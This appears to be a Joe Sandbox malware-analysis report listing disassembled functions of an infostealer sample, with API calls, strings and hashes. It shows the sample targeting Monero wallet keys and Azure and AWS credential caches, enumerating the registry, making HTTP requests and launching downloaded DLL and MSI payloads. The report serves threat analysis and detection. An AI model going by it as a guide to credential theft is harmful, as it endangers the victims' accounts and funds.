Part of subcall function 00BDA9B0: lstrlen.KERNEL32(?,013C9238,?,\Monero\wallet.keys,00BE0E17), ref: 00BDA9C5
Part of subcall function 00BDA9B0: lstrcpy.KERNEL32(00000000), ref: 00BDAA04
Part of subcall function 00BDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BDAA12

Part of subcall function 00BDA8A0: lstrcpy.KERNEL32(?,00BE0E17), ref: 00BDA905

Part of subcall function 00BD8B60: GetSystemTime.KERNEL32(00BE0E1A,013CA5A0,00BE05AE,?,?,00BC13F9,?,0000001A,00BE0E1A,00000000,?,013C9238,?,\Monero\wallet.keys,00BE0E17), ref: 00BD8B86

Part of subcall function 00BDA920: lstrcpy.KERNEL32(00000000,?), ref: 00BDA972
Part of subcall function 00BDA920: lstrcat.KERNEL32(00000000), ref: 00BDA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00BCCF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00BCD0C7
RtlAllocateHeap.NTDLL(00000000), ref: 00BCD0CE
lstrcat.KERNEL32(?,00000000), ref: 00BCD208
lstrcat.KERNEL32(?,00BE1478), ref: 00BCD217
lstrcat.KERNEL32(?,00000000), ref: 00BCD22A
lstrcat.KERNEL32(?,00BE147C), ref: 00BCD239
lstrcat.KERNEL32(?,00000000), ref: 00BCD24C
lstrcat.KERNEL32(?,00BE1480), ref: 00BCD25B
lstrcat.KERNEL32(?,00000000), ref: 00BCD26E
lstrcat.KERNEL32(?,00BE1484), ref: 00BCD27D
lstrcat.KERNEL32(?,00000000), ref: 00BCD290
lstrcat.KERNEL32(?,00BE1488), ref: 00BCD29F
lstrcat.KERNEL32(?,00000000), ref: 00BCD2B2
lstrcat.KERNEL32(?,00BE148C), ref: 00BCD2C1
lstrcat.KERNEL32(?,00000000), ref: 00BCD2D4
lstrcat.KERNEL32(?,00BE1490), ref: 00BCD2E3

Part of subcall function 00BDA820: lstrlen.KERNEL32(00BC4F05,?,?,00BC4F05,00BE0DDE), ref: 00BDA82B
Part of subcall function 00BDA820: lstrcpy.KERNEL32(00BE0DDE,00000000), ref: 00BDA885

lstrlen.KERNEL32(?), ref: 00BCD32A
lstrlen.KERNEL32(?), ref: 00BCD339

Part of subcall function 00BDAA70: StrCmpCA.SHLWAPI(013C8FA8,00BCA7A7,?,00BCA7A7,013C8FA8), ref: 00BDAA8F

DeleteFileA.KERNEL32(00000000), ref: 00BCD3B4

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: eca5b0c7382ecd9a4c046922675aba11342280d60769c2a25d5564e2edbf5520
Instruction ID: d9bea7750b229a421924744ac40401577b6af9763135063f9c1a6c69a7ee64ac
Opcode Fuzzy Hash: eca5b0c7382ecd9a4c046922675aba11342280d60769c2a25d5564e2edbf5520
Instruction Fuzzy Hash: 66E138719101089FCB04EBA0DD96EEEB3B8BF14301F1441A9F507B6191EF36AE49DB66

Function 00BCC990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BDA740: lstrcpy.KERNEL32(00BE0E17,00000000), ref: 00BDA788

Part of subcall function 00BDA920: lstrcpy.KERNEL32(00000000,?), ref: 00BDA972
Part of subcall function 00BDA920: lstrcat.KERNEL32(00000000), ref: 00BDA982

Part of subcall function 00BDA8A0: lstrcpy.KERNEL32(?,00BE0E17), ref: 00BDA905

Part of subcall function 00BDA9B0: lstrlen.KERNEL32(?,013C9238,?,\Monero\wallet.keys,00BE0E17), ref: 00BDA9C5
Part of subcall function 00BDA9B0: lstrcpy.KERNEL32(00000000), ref: 00BDAA04
Part of subcall function 00BDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BDAA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,013CD4B8,00000000,?,00BE144C,00000000,?,?), ref: 00BCCA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00BCCA89
GetFileSize.KERNEL32(00000000,00000000), ref: 00BCCA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00BCCAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00BCCAD9
StrStrA.SHLWAPI(?,013CD4A0,00BE0B52), ref: 00BCCAF7
StrStrA.SHLWAPI(00000000,013CD548), ref: 00BCCB1E
StrStrA.SHLWAPI(?,013CD6E0,00000000,?,00BE1458,00000000,?,00000000,00000000,?,013C8F88,00000000,?,00BE1454,00000000,?), ref: 00BCCCA2
StrStrA.SHLWAPI(00000000,013CD820), ref: 00BCCCB9

Part of subcall function 00BCC820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00BCC871
Part of subcall function 00BCC820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00BCC87C

StrStrA.SHLWAPI(?,013CD820,00000000,?,00BE145C,00000000,?,00000000,013C8F98), ref: 00BCCD5A
StrStrA.SHLWAPI(00000000,013C9198), ref: 00BCCD71

Part of subcall function 00BCC820: lstrcat.KERNEL32(?,00BE0B46), ref: 00BCC943
Part of subcall function 00BCC820: lstrcat.KERNEL32(?,00BE0B47), ref: 00BCC957
Part of subcall function 00BCC820: lstrcat.KERNEL32(?,00BE0B4E), ref: 00BCC978

lstrlen.KERNEL32(00000000), ref: 00BCCE44
CloseHandle.KERNEL32(00000000), ref: 00BCCE9C

Strings

, xrefs: 00BCC9C6

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: fd37f7b2560c30681d58e9859a40c1803bb39bca3f630b7b304ead6f0ed715d6
Instruction ID: 1652c9909fb3d743f850d7abcfb78c18c27f1ded7f673e8c44480d7bd0e4c44c
Opcode Fuzzy Hash: fd37f7b2560c30681d58e9859a40c1803bb39bca3f630b7b304ead6f0ed715d6
Instruction Fuzzy Hash: A6E11171900148AFDB14EBA4DC91FEEB7B8AF14300F4441AAF50677291EF356A4ACF66

Function 00BD8320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00BDA740: lstrcpy.KERNEL32(00BE0E17,00000000), ref: 00BDA788

RegOpenKeyExA.ADVAPI32(00000000,013CB148,00000000,00020019,00000000,00BE05B6), ref: 00BD83A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00BD8426
wsprintfA.USER32 ref: 00BD8459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00BD847B
RegCloseKey.ADVAPI32(00000000), ref: 00BD848C
RegCloseKey.ADVAPI32(00000000), ref: 00BD8499

Part of subcall function 00BDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BDA7E6

Strings

%s\%s, xrefs: 00BD844D
- , xrefs: 00BD85A3
?, xrefs: 00BD837A

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: aa65896ce28dd32415f316dd539c73bc916d27e70af9466f501082f55036974a
Instruction ID: 0f150f2f54a0dafbcac95445c40e26a8eb8b0bba76b08938b97fe8b98d70b5f2
Opcode Fuzzy Hash: aa65896ce28dd32415f316dd539c73bc916d27e70af9466f501082f55036974a
Instruction Fuzzy Hash: CC81FD7191021C9FDB24DB54CC95FEAB7B8FB08700F0482D9E509A6190EF756A89CF95

Function 00BD4D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BD8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00BD8E0B

lstrcat.KERNEL32(?,00000000), ref: 00BD4DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00BD4DCD

Part of subcall function 00BD4910: wsprintfA.USER32 ref: 00BD492C
Part of subcall function 00BD4910: FindFirstFileA.KERNEL32(?,?), ref: 00BD4943

lstrcat.KERNEL32(?,00000000), ref: 00BD4E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00BD4E59

Part of subcall function 00BD4910: StrCmpCA.SHLWAPI(?,00BE0FDC), ref: 00BD4971
Part of subcall function 00BD4910: StrCmpCA.SHLWAPI(?,00BE0FE0), ref: 00BD4987
Part of subcall function 00BD4910: FindNextFileA.KERNEL32(000000FF,?), ref: 00BD4B7D
Part of subcall function 00BD4910: FindClose.KERNEL32(000000FF), ref: 00BD4B92

lstrcat.KERNEL32(?,00000000), ref: 00BD4EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00BD4EE5

Part of subcall function 00BD4910: wsprintfA.USER32 ref: 00BD49B0
Part of subcall function 00BD4910: StrCmpCA.SHLWAPI(?,00BE08D2), ref: 00BD49C5
Part of subcall function 00BD4910: wsprintfA.USER32 ref: 00BD49E2
Part of subcall function 00BD4910: PathMatchSpecA.SHLWAPI(?,?), ref: 00BD4A1E
Part of subcall function 00BD4910: lstrcat.KERNEL32(?,013CE9A8), ref: 00BD4A4A
Part of subcall function 00BD4910: lstrcat.KERNEL32(?,00BE0FF8), ref: 00BD4A5C
Part of subcall function 00BD4910: lstrcat.KERNEL32(?,?), ref: 00BD4A70
Part of subcall function 00BD4910: lstrcat.KERNEL32(?,00BE0FFC), ref: 00BD4A82
Part of subcall function 00BD4910: lstrcat.KERNEL32(?,?), ref: 00BD4A96
Part of subcall function 00BD4910: CopyFileA.KERNEL32(?,?,00000001), ref: 00BD4AAC
Part of subcall function 00BD4910: DeleteFileA.KERNEL32(?), ref: 00BD4B31

Strings

\.IdentityService\, xrefs: 00BD4ED9
msal.cache, xrefs: 00BD4EF0
Azure\.aws, xrefs: 00BD4E5F
*.*, xrefs: 00BD4E64
*.*, xrefs: 00BD4DD8
Azure\.IdentityService, xrefs: 00BD4EEB
\.azure\, xrefs: 00BD4DC1
\.aws\, xrefs: 00BD4E4D
Azure\.azure, xrefs: 00BD4DD3

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 72919b6455d5ab07fff9f0407c0cc278be83de293ab0b542df7d26c1f85bee32
Instruction ID: 86977323ea8ab649f0f0979c0127bd2f1835163b440f0b746b0789d5a7bc8426
Opcode Fuzzy Hash: 72919b6455d5ab07fff9f0407c0cc278be83de293ab0b542df7d26c1f85bee32
Instruction Fuzzy Hash: 8A41A37A9402086BDB54F770DC47FED73B8AB24700F0048E4B589661C2FEB59BC98B92

Function 00BD9010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00BD906C

Strings

image/jpeg, xrefs: 00BD9136

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: c92ffa3772e90731f227d718e48c6ca0735e7534c9212beb91e54f49e8b5fb62
Instruction ID: 8a5a12a882cabce02a3cf0ae8761999b36504c67cc21b476f52d21af52a7a1c7
Opcode Fuzzy Hash: c92ffa3772e90731f227d718e48c6ca0735e7534c9212beb91e54f49e8b5fb62
Instruction Fuzzy Hash: AB71FB71910208AFDB04EFE5DC89FEEB7B8BB48300F148559F516B7290EB35A945CB61

Function 00BD2E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 00BDA740: lstrcpy.KERNEL32(00BE0E17,00000000), ref: 00BDA788

ShellExecuteEx.SHELL32(0000003C), ref: 00BD31C5
ShellExecuteEx.SHELL32(0000003C), ref: 00BD335D
ShellExecuteEx.SHELL32(0000003C), ref: 00BD34EA

Strings

.dll, xrefs: 00BD31E5
/passive, xrefs: 00BD345B
/i ", xrefs: 00BD33E4
C:\Windows\system32\rundll32.exe, xrefs: 00BD3332
<, xrefs: 00BD3490
"" , xrefs: 00BD309A
C:\Windows\system32\msiexec.exe, xrefs: 00BD34BF
.msi, xrefs: 00BD3398

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 02dae87921176b11ec092149eacb5f7161831e79d2ba828e566d52db19da8e0c
Instruction ID: 6d4219c6d14cd56031eacbe85b26f4af75b7f4768a2ecdc8635a17d744327e46
Opcode Fuzzy Hash: 02dae87921176b11ec092149eacb5f7161831e79d2ba828e566d52db19da8e0c
Instruction Fuzzy Hash: A8120E718101489ADB05FBA0DC92FEDF7B8AF14300F5041AAE50676291FF752B4ACFA6

Function 00BD52C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BDA7E6

Part of subcall function 00BC6280: InternetOpenA.WININET(00BE0DFE,00000001,00000000,00000000,00000000), ref: 00BC62E1
Part of subcall function 00BC6280: StrCmpCA.SHLWAPI(?,013CEA08), ref: 00BC6303
Part of subcall function 00BC6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00BC6335
Part of subcall function 00BC6280: HttpOpenRequestA.WININET(00000000,GET,?,013CDFD8,00000000,00000000,00400100,00000000), ref: 00BC6385
Part of subcall function 00BC6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00BC63BF
Part of subcall function 00BC6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00BC63D1

Part of subcall function 00BDA8A0: lstrcpy.KERNEL32(?,00BE0E17), ref: 00BDA905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00BD5318
lstrlen.KERNEL32(00000000), ref: 00BD532F

Part of subcall function 00BD8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00BD8E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00BD5364
lstrlen.KERNEL32(00000000), ref: 00BD5383
lstrlen.KERNEL32(00000000), ref: 00BD53AE

Part of subcall function 00BDA740: lstrcpy.KERNEL32(00BE0E17,00000000), ref: 00BDA788

Strings

ERROR, xrefs: 00BD530A
ERROR, xrefs: 00BD54A9
ERROR, xrefs: 00BD546F
ERROR, xrefs: 00BD53B9
ERROR, xrefs: 00BD5432

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 5063cc6bc5948469121bd7f11e5f1d9a3a9b0501b35208099c6dcc8ad7b14a36
Instruction ID: a31991900b624a52f424104c36300cebc71fa7037ceac1e958dd106e25276552
Opcode Fuzzy Hash: 5063cc6bc5948469121bd7f11e5f1d9a3a9b0501b35208099c6dcc8ad7b14a36
Instruction Fuzzy Hash: 0D512F309101499BCB14FF64CD96EEDB7B9EF10300F5044A9F80A6A292FF356B46DB66

Function 00BD12D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: d910c84edc357a83f433faf8f37762f0a0e47e3e9b3c1be71c94102fc43bf47a
Instruction ID: d113ce2bc10693421bbe72178e9e95ff7e36d37dca428e027e163e6e5abad83e
Opcode Fuzzy Hash: d910c84edc357a83f433faf8f37762f0a0e47e3e9b3c1be71c94102fc43bf47a
Instruction Fuzzy Hash: A1C1A5B590021DABCB14EF60DC89FEAB3B8BB54304F0445E9E50A67251FA71AA85CF91

Function 00BD4280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BD8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00BD8E0B

lstrcat.KERNEL32(?,00000000), ref: 00BD42EC
lstrcat.KERNEL32(?,013CE500), ref: 00BD430B
lstrcat.KERNEL32(?,?), ref: 00BD431F
lstrcat.KERNEL32(?,013CD470), ref: 00BD4333

